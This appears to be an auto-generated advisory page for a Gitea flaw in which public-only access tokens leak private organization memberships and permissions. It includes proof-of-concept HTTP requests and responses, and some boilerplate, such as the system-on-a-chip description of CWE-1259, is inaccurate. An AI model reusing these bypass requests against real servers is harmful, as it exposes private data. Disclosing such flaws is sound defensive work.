CVE-2026-58429: Gitea Public-Only Personal Access Tokens Scope Vulnerability

MODERATE
Advisory Identifier: GHSA-fq2p-5p22-8g6j
CVSS 4.9
CWE-1259 CWE-284
Published
Advisory Summary

CVE-2026-58429 is a MODERATE (CVSS 4.9) public-only personal access tokens scope vulnerability (CWE-1259: Improper Restriction of Security Token Assignment) affecting Gitea libraries in the Go ecosystem. The issue involves public-only personal access tokens scope bypass in organization and permission endpoints. Remediation is available by upgrading affected packages to version 1.27.0.

CVE-2026-58429 at a Glance

CVE Identifier CVE-2026-58429
GHSA Identifier GHSA-fq2p-5p22-8g6j
Severity MODERATE
CVSS v3.1 Base Score 4.9
CWE Classification CWE-1259: Improper Restriction of Security Token Assignment
Affected Product Gitea
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 4.9

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required High (PR:H)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity None (I:N)
Availability None (A:N)

How to Fix CVE-2026-58429

To remediate this vulnerability, upgrade all affected Gitea dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

code.gitea.io/gitea fixed: 1.27.0
Upgrade code.gitea.io/gitea to 1.27.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for code.gitea.io/gitea

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-58429, inspect your project dependencies for Gitea:

inspect dependencies for code.gitea.io/gitea

Analyze the terminal output to locate any version of Gitea in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.27.0), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-1259: Improper Restriction of Security Token Assignment, where the system-on-a-chip (soc) implements a security token mechanism to differentiate what actions are allowed or disallowed when a transaction originates from an entity. however, the security tokens are improperly protected. In Gitea, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary A personal access token restricted with the public-only scope can still retrieve private organization membership and organization permission details for its own account through organization-listing endpoints. This bypass breaks the intended guarantee that such tokens are limited to public resources only. ### Details The issue affects the following endpoints: GET /api/v1/user/orgs GET /api/v1/users/{username}/orgs/{org}/permissions The application correctly prevents a public-only token from directly accessing a private organization through: GET /api/v1/orgs/{org} However, that same token can still obtain private organization data through alternate code paths. The root cause is inconsistent enforcement of the public-only restriction. The middleware responsible for blocking non-public organization access depends on route context being populated with the target organization. That assumption does not hold for all affected routes. For GET /api/v1/user/orgs, the route does not apply checkTokenPublicOnly() at all. For GET /api/v1/users/{username}/orgs, the middleware is present, but it evaluates ctx.ContextUser, which represents the user named in the path, not the organization objects returned by the handler. Since ctx.Org.Organization is not populated for these responses, private organization results are not filtered. The organization listing logic then uses the effective relationship between the authenticated user and the target user to determine visibility. When the token belongs to the same user, the handler allows private organization visibility and returns private memberships. The permissions endpoint is similarly affected. It relies on general visibility logic relative to the real user account rather than explicitly enforcing the public-only token restriction before returning organization authorization details. As a result, a restricted token can still obtain organization role information such as ownership, admin status, and repository creation capability for a private organization. This is therefore a route-specific authorization failure: direct organization access is blocked, but indirect endpoints still disclose private organization-derived data. ### PoC **Step 1:** Create or use a user account that belongs to at least one private organization. <img width="1858" height="891" alt="Screenshot 2026-04-16 001614" src="https://github.com/user-attachments/assets/9c1bdbc4-234f-4f65-9b91-00c7ca9a51f7" /> **Step 2:** Generate a personal access token for that same user with the scopes: public-only, read:user, and read:organization https://github.com/user-attachments/assets/c89c9004-5e6d-4ff9-b130-5cd9fedc38f6 **Step 3:** Confirm the token is correctly restricted by requesting the private organization directly <img width="1918" height="867" alt="Screenshot 2026-04-16 002345" src="https://github.com/user-attachments/assets/4c489174-b4ef-400b-9eea-5484520f51e2" /> [REQUEST] GET /api/v1/orgs/private_1?token=d8010b3dee25df1a9c3cb6aafbd24c27dae7ca56 HTTP/2 Host: gitea.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:148.0) Gecko/20100101 Firefox/148.0 Accept: application/json Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Referer: https://gitea.com/api/swagger Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin Priority: u=0 Te: trailers [RESPONSE] HTTP/2 403 Forbidden Alt-Svc: h3=":443"; ma=2592000 Cache-Control: max-age=0, private, must-revalidate, no-transform Content-Type: application/json;charset=utf-8 Date: Wed, 15 Apr 2026 17:23:19 GMT Server: Caddy Vary: Origin X-Content-Type-Options: nosniff X-Gitea-Warning: token and access_token API authentication is deprecated and will be removed in gitea 1.23. Please use AuthorizationHeaderToken instead. Existing queries will continue to work but without authorization. Content-Length: 89 {"message":"token scope is limited to public orgs","url":"https://gitea.com/api/swagger"} **Step 4:** Use the same token to request the authenticated user’s organizations. Observe that request send successful and receive data about private org. <img width="1545" height="791" alt="Screenshot 2026-04-16 002751" src="https://github.com/user-attachments/assets/761d2684-0882-4e61-9462-21514738e681" /> [REQUEST] GET /api/v1/user/orgs?token=d8010b3dee25df1a9c3cb6aafbd24c27dae7ca56 HTTP/2 Host: gitea.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:148.0) Gecko/20100101 Firefox/148.0 Accept: application/json Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Referer: https://gitea.com/api/swagger Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin Priority: u=0 Te: trailers [RESPONSE] HTTP/2 200 OK Access-Control-Expose-Headers: X-Total-Count Alt-Svc: h3=":443"; ma=2592000 Cache-Control: max-age=0, private, must-revalidate, no-transform Content-Type: application/json;charset=utf-8 Date: Wed, 15 Apr 2026 17:26:35 GMT Server: Caddy Vary: Origin X-Content-Type-Options: nosniff X-Gitea-Warning: token and access_token API authentication is deprecated and will be removed in gitea 1.23. Please use AuthorizationHeaderToken instead. Existing queries will continue to work but without authorization. X-Total-Count: 1 Content-Length: 261 [{"id":192111,"name":"private_1","full_name":"","email":"","avatar_url":"https://gitea.com/avatars/cc05fbb4da63b760bf83cdc054c3be63","description":"","website":"","location":"","visibility":"private","repo_admin_change_team_access":true,"username":"private_1"}] **Step 5:** Use the same token to request organization permissions for that private organization. <img width="1917" height="865" alt="Screenshot 2026-04-16 003100" src="https://github.com/user-attachments/assets/65578c48-3307-4e0d-ae08-991f64158706" /> [REQUEST] GET /api/v1/users/pcatso172124/orgs/private_1/permissions?token=d8010b3dee25df1a9c3cb6aafbd24c27dae7ca56 HTTP/2 Host: gitea.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:148.0) Gecko/20100101 Firefox/148.0 Accept: application/json Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Referer: https://gitea.com/api/swagger Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin Priority: u=0 Te: trailers [RESPONSE] HTTP/2 200 OK Alt-Svc: h3=":443"; ma=2592000 Cache-Control: max-age=0, private, must-revalidate, no-transform Content-Type: application/json;charset=utf-8 Date: Wed, 15 Apr 2026 17:30:32 GMT Server: Caddy Vary: Origin X-Content-Type-Options: nosniff X-Gitea-Warning: token and access_token API authentication is deprecated and will be removed in gitea 1.23. Please use AuthorizationHeaderToken instead. Existing queries will continue to work but without authorization. Content-Length: 95 {"is_owner":true,"is_admin":true,"can_write":true,"can_read":true,"can_create_repository":true} ### Impact Any public-only token for a user who belongs to private organizations can enumerate those private organization names and retrieve detailed authorization information such as ownership, administrative status, write access, read access, and repository-creation capability. This weakens least-privilege token delegation and can expose sensitive internal organizational structure and privilege relationships to third-party integrations, CI jobs, or compromised automation that were only meant to access public data.

CVE-2026-58429 Affected Gitea Versions

1 component(s)
Fixed Versions:
1.27.0
Product / Package Ecosystem Affected Versions Fixed Version
code.gitea.io/gitea
Go
< 1.27.0
1.27.0

References

Frequently Asked Questions

What is CVE-2026-58429?
CVE-2026-58429 is a security vulnerability in Gitea involving Public-Only Personal access tokens scope bypass in Organization and Permission Endpoints under CWE-1259: Improper Restriction of Security Token Assignment.
Which Gitea versions are affected?
Affected versions include releases prior to 1.27.0 across affected packages: code.gitea.io/gitea.
What version fixes CVE-2026-58429?
Upgrading to 1.27.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is code.gitea.io/gitea affected?
Yes, code.gitea.io/gitea is affected in releases prior to 1.27.0. Upgrade your dependency to 1.27.0 or later.
What is the CVSS score of CVE-2026-58429?
CVE-2026-58429 has a CVSS v3.1 base score of 4.9 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N.
What CWE is associated with CVE-2026-58429?
CVE-2026-58429 is classified under CWE-1259: Improper Restriction of Security Token Assignment (The System-On-A-Chip (SoC) implements a Security Token mechanism to differentiate what actions are allowed or disallowed when a transaction originates from an entity. However, the Security Tokens are improperly protected.).
How can I check Go dependencies for CVE-2026-58429?
Run the dependency tree command: 'inspect dependencies for code.gitea.io/gitea'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-fq2p-5p22-8g6j",
  "modified" : "2026-07-21T21:56:04Z",
  "published" : "2026-07-21T21:56:04Z",
  "aliases" : [ "CVE-2026-58429" ],
  "summary" : "Gitea: Public-Only Personal access tokens scope bypass in Organization and Permission Endpoints",
  "details" : "### Summary\nA personal access token restricted with the public-only scope can still retrieve private organization membership and organization permission details for its own account through organization-listing endpoints. This bypass breaks the intended guarantee that such tokens are limited to public resources only.\n\n### Details\nThe issue affects the following endpoints:\nGET /api/v1/user/orgs\nGET /api/v1/users/{username}/orgs/{org}/permissions\n\nThe application correctly prevents a public-only token from directly accessing a private organization through:\nGET /api/v1/orgs/{org}\n\nHowever, that same token can still obtain private organization data through alternate code paths.\n\nThe root cause is inconsistent enforcement of the public-only restriction. The middleware responsible for blocking non-public organization access depends on route context being populated with the target organization. That assumption does not hold for all affected routes.\n\nFor GET /api/v1/user/orgs, the route does not apply checkTokenPublicOnly() at all.\n\nFor GET /api/v1/users/{username}/orgs, the middleware is present, but it evaluates ctx.ContextUser, which represents the user named in the path, not the organization objects returned by the handler. Since ctx.Org.Organization is not populated for these responses, private organization results are not filtered.\n\nThe organization listing logic then uses the effective relationship between the authenticated user and the target user to determine visibility. When the token belongs to the same user, the handler allows private organization visibility and returns private memberships.\n\nThe permissions endpoint is similarly affected. It relies on general visibility logic relative to the real user account rather than explicitly enforcing the public-only token restriction before returning organization authorization details. As a result, a restricted token can still obtain organization role information such as ownership, admin status, and repository creation capability for a private organization.\n\nThis is therefore a route-specific authorization failure: direct organization access is blocked, but indirect endpoints still disclose private organization-derived data.\n\n### PoC\n**Step 1:** Create or use a user account that belongs to at least one private organization.\n<img width=\"1858\" height=\"891\" alt=\"Screenshot 2026-04-16 001614\" src=\"https://github.com/user-attachments/assets/9c1bdbc4-234f-4f65-9b91-00c7ca9a51f7\" />\n\n**Step 2:** Generate a personal access token for that same user with the scopes: public-only, read:user, and read:organization\n\nhttps://github.com/user-attachments/assets/c89c9004-5e6d-4ff9-b130-5cd9fedc38f6\n\n**Step 3:** Confirm the token is correctly restricted by requesting the private organization directly\n<img width=\"1918\" height=\"867\" alt=\"Screenshot 2026-04-16 002345\" src=\"https://github.com/user-attachments/assets/4c489174-b4ef-400b-9eea-5484520f51e2\" />\n\n[REQUEST]\nGET /api/v1/orgs/private_1?token=d8010b3dee25df1a9c3cb6aafbd24c27dae7ca56 HTTP/2\nHost: gitea.com\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:148.0) Gecko/20100101 Firefox/148.0\nAccept: application/json\nAccept-Language: en-US,en;q=0.9\nAccept-Encoding: gzip, deflate, br\nReferer: https://gitea.com/api/swagger\nSec-Fetch-Dest: empty\nSec-Fetch-Mode: cors\nSec-Fetch-Site: same-origin\nPriority: u=0\nTe: trailers\n\n[RESPONSE]\nHTTP/2 403 Forbidden\nAlt-Svc: h3=\":443\"; ma=2592000\nCache-Control: max-age=0, private, must-revalidate, no-transform\nContent-Type: application/json;charset=utf-8\nDate: Wed, 15 Apr 2026 17:23:19 GMT\nServer: Caddy\nVary: Origin\nX-Content-Type-Options: nosniff\nX-Gitea-Warning: token and access_token API authentication is deprecated and will be removed in gitea 1.23. Please use AuthorizationHeaderToken instead. Existing queries will continue to work but without authorization.\nContent-Length: 89\n{\"message\":\"token scope is limited to public orgs\",\"url\":\"https://gitea.com/api/swagger\"}\n\n**Step 4:** Use the same token to request the authenticated user’s organizations. Observe that request send successful and receive data about private org.\n<img width=\"1545\" height=\"791\" alt=\"Screenshot 2026-04-16 002751\" src=\"https://github.com/user-attachments/assets/761d2684-0882-4e61-9462-21514738e681\" />\n[REQUEST]\nGET /api/v1/user/orgs?token=d8010b3dee25df1a9c3cb6aafbd24c27dae7ca56 HTTP/2\nHost: gitea.com\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:148.0) Gecko/20100101 Firefox/148.0\nAccept: application/json\nAccept-Language: en-US,en;q=0.9\nAccept-Encoding: gzip, deflate, br\nReferer: https://gitea.com/api/swagger\nSec-Fetch-Dest: empty\nSec-Fetch-Mode: cors\nSec-Fetch-Site: same-origin\nPriority: u=0\nTe: trailers\n\n[RESPONSE]\nHTTP/2 200 OK\nAccess-Control-Expose-Headers: X-Total-Count\nAlt-Svc: h3=\":443\"; ma=2592000\nCache-Control: max-age=0, private, must-revalidate, no-transform\nContent-Type: application/json;charset=utf-8\nDate: Wed, 15 Apr 2026 17:26:35 GMT\nServer: Caddy\nVary: Origin\nX-Content-Type-Options: nosniff\nX-Gitea-Warning: token and access_token API authentication is deprecated and will be removed in gitea 1.23. Please use AuthorizationHeaderToken instead. Existing queries will continue to work but without authorization.\nX-Total-Count: 1\nContent-Length: 261\n[{\"id\":192111,\"name\":\"private_1\",\"full_name\":\"\",\"email\":\"\",\"avatar_url\":\"https://gitea.com/avatars/cc05fbb4da63b760bf83cdc054c3be63\",\"description\":\"\",\"website\":\"\",\"location\":\"\",\"visibility\":\"private\",\"repo_admin_change_team_access\":true,\"username\":\"private_1\"}]\n\n**Step 5:** Use the same token to request organization permissions for that private organization.\n<img width=\"1917\" height=\"865\" alt=\"Screenshot 2026-04-16 003100\" src=\"https://github.com/user-attachments/assets/65578c48-3307-4e0d-ae08-991f64158706\" />\n[REQUEST]\nGET /api/v1/users/pcatso172124/orgs/private_1/permissions?token=d8010b3dee25df1a9c3cb6aafbd24c27dae7ca56 HTTP/2\nHost: gitea.com\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:148.0) Gecko/20100101 Firefox/148.0\nAccept: application/json\nAccept-Language: en-US,en;q=0.9\nAccept-Encoding: gzip, deflate, br\nReferer: https://gitea.com/api/swagger\nSec-Fetch-Dest: empty\nSec-Fetch-Mode: cors\nSec-Fetch-Site: same-origin\nPriority: u=0\nTe: trailers\n\n[RESPONSE]\nHTTP/2 200 OK\nAlt-Svc: h3=\":443\"; ma=2592000\nCache-Control: max-age=0, private, must-revalidate, no-transform\nContent-Type: application/json;charset=utf-8\nDate: Wed, 15 Apr 2026 17:30:32 GMT\nServer: Caddy\nVary: Origin\nX-Content-Type-Options: nosniff\nX-Gitea-Warning: token and access_token API authentication is deprecated and will be removed in gitea 1.23. Please use AuthorizationHeaderToken instead. Existing queries will continue to work but without authorization.\nContent-Length: 95\n\n{\"is_owner\":true,\"is_admin\":true,\"can_write\":true,\"can_read\":true,\"can_create_repository\":true}\n### Impact\nAny public-only token for a user who belongs to private organizations can enumerate those private organization names and retrieve detailed authorization information such as ownership, administrative status, write access, read access, and repository-creation capability. This weakens least-privilege token delegation and can expose sensitive internal organizational structure and privilege relationships to third-party integrations, CI jobs, or compromised automation that were only meant to access public data.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "code.gitea.io/gitea"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.27.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/go-gitea/gitea/security/advisories/GHSA-fq2p-5p22-8g6j"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/go-gitea/gitea/pull/37118"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/go-gitea/gitea/pull/37773"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/go-gitea/gitea/commit/a34eac5ef42ada433a7c7dafb98f15c13d7ad74e"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/go-gitea/gitea/commit/f2a1271f164569264c378fad720b0c000fff3336"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/go-gitea/gitea"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/go-gitea/gitea/releases/tag/v1.27.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-1259", "CWE-284" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-07-21T21:56:04Z",
    "nvd_published_at" : null
  }
}